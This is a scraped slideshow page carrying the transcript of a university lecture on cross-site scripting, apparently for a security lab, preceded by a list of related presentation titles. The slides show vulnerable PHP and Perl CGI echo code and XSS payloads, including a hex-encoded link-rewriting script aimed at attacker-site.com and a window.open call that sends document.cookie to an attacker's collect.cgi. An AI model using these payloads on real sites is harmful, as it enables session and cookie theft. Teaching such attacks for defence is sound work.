Cross Site Scripting (XSS) Attack Chien-Chung Shen

Slides:



Advertisements
Similar presentations
PHP Form and File Handling
Advertisements

Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
PHP I.
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
WEB DESIGN TABLES, PAGE LAYOUT AND FORMS. Page Layout Page Layout is an important part of web design Why do you think your page layout is important?
HI-TEC 2011 SQL Injection. Client’s Browser HTTP or HTTPS Web Server Apache or IIS HTML Forms CGI Scripts Database SQL Server or Oracle or MySQL ODBC.
PHP Hypertext Preprocessor Information Systems 337 Prof. Harry Plantinga.
JavaScript Forms Form Validation Cookies CGI Programs.
Servlets and a little bit of Web Services Russell Beale.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
Session Management A290/A590, Fall /25/2014.
1 The World Wide Web. 2  Web Fundamentals  Pages are defined by the Hypertext Markup Language (HTML) and contain text, graphics, audio, video and software.
CGI Programming: Part 1. What is CGI? CGI = Common Gateway Interface Provides a standardized way for web browsers to: –Call programs on a server. –Pass.
Cookies COEN 351 E-commerce Security. Client / Session Identification HTTP does not maintain state. State Information can be passed using: HTTP Headers.
Christopher M. Pascucci Basic Structural Concepts of.NET Browser – Server Interaction.
 A cookie is a piece of text that a Web server can store on a user's hard disk.  Cookie data is simply name-value pairs stored on your hard disk by.
Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
Form Handling, Validation and Functions. Form Handling Forms are a graphical user interfaces (GUIs) that enables the interaction between users and servers.
Chapter 9 Collecting Data with Forms. A form on a web page consists of form objects such as text boxes or radio buttons into which users type information.
Client-Side programming with JavaScript 3
MS3304: Week 4 PHP & HTML Forms. Overview HTML Forms elements refresher Sending data to a script via an HTML form –The post vs. get methods –Name value.
Web forms in PHP Forms Recap  Way of allowing user interaction  Allows users to input data that can then be processed by a program / stored in a back-end.
Reading Data in Web Pages tMyn1 Reading Data in Web Pages A very common application of PHP is to have an HTML form gather information from a website's.
Open Source Server Side Scripting ECA 236 Open Source Server Side Scripting Cookies & Sessions.
Cookies Set a cookie – setcookie() Extract data from a cookie - $_COOKIE Augment user authentication script with a cookie.
CHAPTER 12 COOKIES AND SESSIONS. INTRO HTTP is a stateless technology Each page rendered by a browser is unrelated to other pages – even if they are from.
Prevent Cross-Site Scripting (XSS) attack
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
JavaScript, Fourth Edition
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
CSE 154 LECTURE 12: COOKIES. Including files: include include("filename"); PHP include("header.html"); include("shared-code.php"); PHP inserts the entire.
Python CGI programming
Client Scripting1 Internet Systems Design. Client Scripting2 n “A scripting language is a programming language that is used to manipulate, customize,
Cross Site Scripting (XSS) Chaitanya Lakshmi
Lecture # 6 Forms, Widgets and Event Handling. Today Questions: From notes/reading/life? Share Personal Web Page (if not too personal) 1.Introduce: How.
Chapter 8 Cookies And Security JavaScript, Third Edition.
Lecture 8 – Cookies & Sessions SFDV3011 – Advanced Web Development 1.
Website Development with PHP and MySQL Saving Data.
Chapter 6 Server-side Programming: Java Servlets
1 © Netskills Quality Internet Training, University of Newcastle HTML Forms © Netskills, Quality Internet Training, University of Newcastle Netskills is.
CSC 2720 Building Web Applications Server-side Scripting with PHP.
Cookies COEN 351 E-commerce Security. Client / Session Identification HTTP Headers Client IP Address HTTP User Login FAT URLs Cookies.
ECMM6018 Enterprise Networking for Electronic Commerce Tutorial 7
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
 Previous lessons have focused on client-side scripts  Programs embedded in the page’s HTML code  Can also execute scripts on the server  Server-side.
Scripting Languages Client Side and Server Side. Examples of client side/server side Examples of client-side side include: JavaScript Jquery (uses a JavaScript.
1 State and Session Management HTTP is a stateless protocol – it has no memory of prior connections and cannot distinguish one request from another. The.
INFO 344 Web Tools And Development CK Wang University of Washington Spring 2014.
1 PHP HTTP After this lecture, you should be able to know: How to create and process web forms with HTML and PHP. How to create and process web forms with.
Higher Computing Science Coding the Web: HTML, JavaScript, PHP and MySQL.
COSC 2328 – Web Programming.  PHP is a server scripting language  It’s widely-used and free  It’s an alternative to Microsoft’s ASP and Ruby  PHP.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
Cross Site Scripting (XSS) Attack Chien-Chung Shen
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
PHP: Further Skills 02 By Trevor Adams. Topics covered Persistence What is it? Why do we need it? Basic Persistence Hidden form fields Query strings Cookies.
111 State Management Beginning ASP.NET in C# and VB Chapter 4 Pages
Some from Chapter 11.9 – “Web” 4 th edition and SY306 Web and Databases for Cyber Operations Cookies and.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Group 18: Chris Hood Brett Poche
CSE 154 Lecture 20: Cookies.
CIIT-Human Computer Interaction-CSC456-Fall-2015-Mr
Cookies BIS1523 – Lecture 23.
Web Systems Development (CSC-215)
Web Programming Language
CSc 337 Lecture 27: Cookies.
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems
Cross Site Request Forgery (CSRF)
CSc 337 Lecture 25: Cookies.
Presentation transcript:

Cross Site Scripting (XSS) Attack Chien-Chung Shen

Managing Cookies with JavaScript Cookies are used to retain some data (state) from one session to another between a browser and a web server Enterprise web servers often use cookies stored in browsers to keep track of interaction with their online customers from one visit to the next –In this manner, after a new client has been authenticated with, say, a password on the first contact, the cookies can be relied upon for subsequent automatic authentications –Cookies can also be used to store customer preferences, tracking how customers view a web page, and so on –On Firefox: Tools -> Page Info -> Cookies It may be possible for third parties to steal cookies from an innocent client’s browser by mounting cross-site scripting attack

How JavaScript Set/Change Cookies Example: WealthTracker.html (by Prof. Avi Purdue) Downloading web page WealthTracker.html from the server constitutes one session –Enter a string for your name and an integer for your wealth, and then click on the submit button. When you click on the Submit button the first time, the browser will show you for verification the information you just entered in the form –Now just change the number in the “Wealth” box and see what happens. And do this repeatedly. You will see that this page keeps track of how many times you have visited the page in the past and how your wealth has changed from one visit to the next All JavaScript code in web page is in the form of function definitions. A JavaScript function may be executed automatically upon the occurrence of an event or because it has been called in code that is currently being executed All JavaScript appears between and tags Between and tags, HTML creates a web form with two text boxes, one for name and the other for wealth

How JavaScript Set/Change Cookies Enter your name and the size of your wealth in this form: Your Name (Required) : <input id="yournamebox” name="yourname” type="text" /> Size of Your Wealth: This form is not supposed to send anything back to server –to ensure form data will NOT be sent back to server by setting action to ‘ # ’ –to supply client-side function to process form data by making it value of onSubmit attribute; when user clicks on “Submit” button of form, whatever the user entered in form will be processed by JavaScript method checkEntry() (which returns false to prevent form from being sent to server) –value of method does not matter, since action is ‘ # ’

How JavaScript Set/Change Cookies function getSetCookie(name, info) { var all_cookies = document.cookie.split(';'); var cooky = ''; var nam = ''; var val = ''; for (i=0;i < all_cookies.length;i++) { cooky = all_cookies[i].split('='); nam = cooky[0].replace(/^\s+|\s+$/g, ''); if (nam == name) { val = unescape( cooky[1].replace(/^\s+|\s+$/g, '') ); val_parts = val.split('_'); var howManyVisits = Number(val_parts[0]); var visit_portion = val_parts[1]; var prev_info = val_parts[2]; if (prev_info) { var diff = info - prev_info; var msg = "This is your visit number " + (howManyVisits + 1) + ". " + "Your wealth changed by " + diff; alert(msg); } var newCookieVal = (howManyVisits + 1) + '_' + visit_portion + '_' + info; setCookie( name, newCookieVal, 15 ); } else { var cookieValue = "1_visits" + '_' + info; setCookie( name, cookieValue, 15 ); } A cookie consists of “name=value” pairs

XSS Attack (1) User visits specially crafted link (URL) by attacker When user visits the link, the crafted code will get executed by the user’s browser Query-string in URL: ?name=value&name=value… –passed on to an application program at web server –this is how your search request is conveyed to search engine like Google For instance, index.php <?php $name = $_GET['name']; echo "Welcome $name "; echo " Click to Download "; ?> alert('a ttacked') alert('a ttacked') When victim loads the above URL into browser, he will see an alert box which says ‘attacked’

XSS Attack (2) For instance, index.php <?php $name = $_GET['name']; echo "Welcome $name "; echo " Click to Download "; ?> Attacker can now try to change “target URL” of link “ Click to Download ” window.o nload = function() {var link=document.getElementsByTagName("a");link[0].href=" y.com/";} Call the function to execute on “ window.onload ” Because the website (i.e, index.php) first echos the given name and then only it draws the tag

XSS Attack (3) Normally an attacker tends not to craft URL which human can directly read. So attacker will encode ASCII characters to hex as follows 4 % 3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%2 0%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%6 3%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%6 1%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%7 4%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%2 2%3b%7d%3c%2f%73%63%72%69%70%74%3e  attacker-site.com Now victim may not know what it is, because directly he cannot understand that the URL is crafted and there is a more chance that he can visit the URL.

Stealing Cookies via XSS Attack (1) Client-side XSS takes the form of attacker gets an innocent victim to click on a carefully crafted URL to a web server Unknowingly to the victim, this URL carries a query-string portion with embedded JavaScript code that is designed to send the cookies stored in the client’s browser for web server’s domain to the attacker’s machine Convert WealthTracker.html into a CGI script named WealthTracker.cgi, a Perl executable file that spits out HTML that is sent to browser requesting this page Put WealthTracker.cgi in /usr/lib/cgi-bin /cgi-bin/WealthTracker.cgi /cgi-bin/WealthTracker.cgi?name= alert(“Hello from a cookie stealer“);

Stealing Cookies via XSS Attack (2) my $forminfo = ''; $forminfo = $ENV{QUERY_STRING}; $forminfo =~ tr/+/ /; $forminfo =~ s/%([a-fA-F0-9]{2,2})/chr(hex($1))/eg; #$forminfo =~ s/ //g; print "$forminfo"; Echo back to browser a query string if it is found attached to URL received from the browser /cgi-bin/WealthTracker.cgi?name= alert(document.cookie); Query string name= alert(document.cookie); This query string would be echoed back by the server to the browser and the browser would ordinarily process the JavaScript in the value of the string –Display cookie(s) in browser

Stealing Cookies via XSS Attack (3) An evil attacker lures victims with the following URL /cgi- bin/WealthTracker.cgi??name= window.open(" /cgi- bin/collect.cgi?cookie="%2Bdocument.cookie) Attacker has a web server running on machine and its cgi-bin includes a script called collect.cgi that simply collects the information sent to by the browser on the victim machine because of JavaScript code in the query-string portion of the URL. Now the attacker would be able to harvest cookies in the victim’s browser for the WealthTracker.cgi web site

Stealing Cookies via XSS Attack (4) my $forminfo = ''; $forminfo = $ENV{QUERY_STRING}; $forminfo =~ tr/+/ /; $forminfo =~ s/%([a-fA-F0-9]{2,2})/chr(hex($1))/eg; #$forminfo =~ s/ //g; print "$forminfo"; echo back to browser a query string if it is found attached to URL received from the browser a clueless client has engaged in a session with this web page assume that the same client has received a very authentic looking that lures him/her into clicking on a link that points to the following URL 1. /cgi-bin/WealthTracker.cgi?name= alert(document.cookie); 2. /cgi-bin/WealthTracker.cgi?name= alert("Hello from a cookie stealer"); 3. /cgi- bin/WealthTracker.cgi?name= window.open(" bin/collect.cgi?cookie=”+document.cookie)

CGI in Apache2 (1) Add the following directive into file /etc/apache2/sites-enabled/000-default ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ AllowOverride None Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch Order allow,deny Allow from all

CGI in Apache2 (2) To test cgi, put the following hello.cgi inside /usr/lib/cgi-bin/ #!/usr/bin/perl print "Content-type:text/html\r\n\r\n"; print ' '; print ' Hello Word - First CGI Program '; print ' '; print ' Hello Word! This is my first CGI program '; print ' '; Then do sudo chown root:root hello.cgi sudo chmod 755 hello.cgi Open Firefox on your VM, input localhost/cgi-bin/hello.cgi It shows "Hello Word! This is my first CGI program”.

Persistent XSS Attack (1) The code injected by attacker will be stored in a secondary storage device (mostly on a database) Session –HTTP protocol is stateless, which means, it won’t maintain any state with regard to the request and response. All request and response are independent of each other –Once user has authenticated himself, the web server should not ask the username/password for the next request from the user –To do this, they need to maintain some kind of states between the web-browser and web-server which is done through “Sessions” –When user login for the first time, a session ID will be created by web server and it will be sent to web-browser as “cookie” –All sub-sequent requests to web server, will be based on the “session id” in the cookie

Persistent XSS Attack (2) Demonstration: –There are two types of users: “Admin” and “Normal”. When “Admin” log-in, he can see the list of usernames. When “Normal” users log-in, they can only update their display name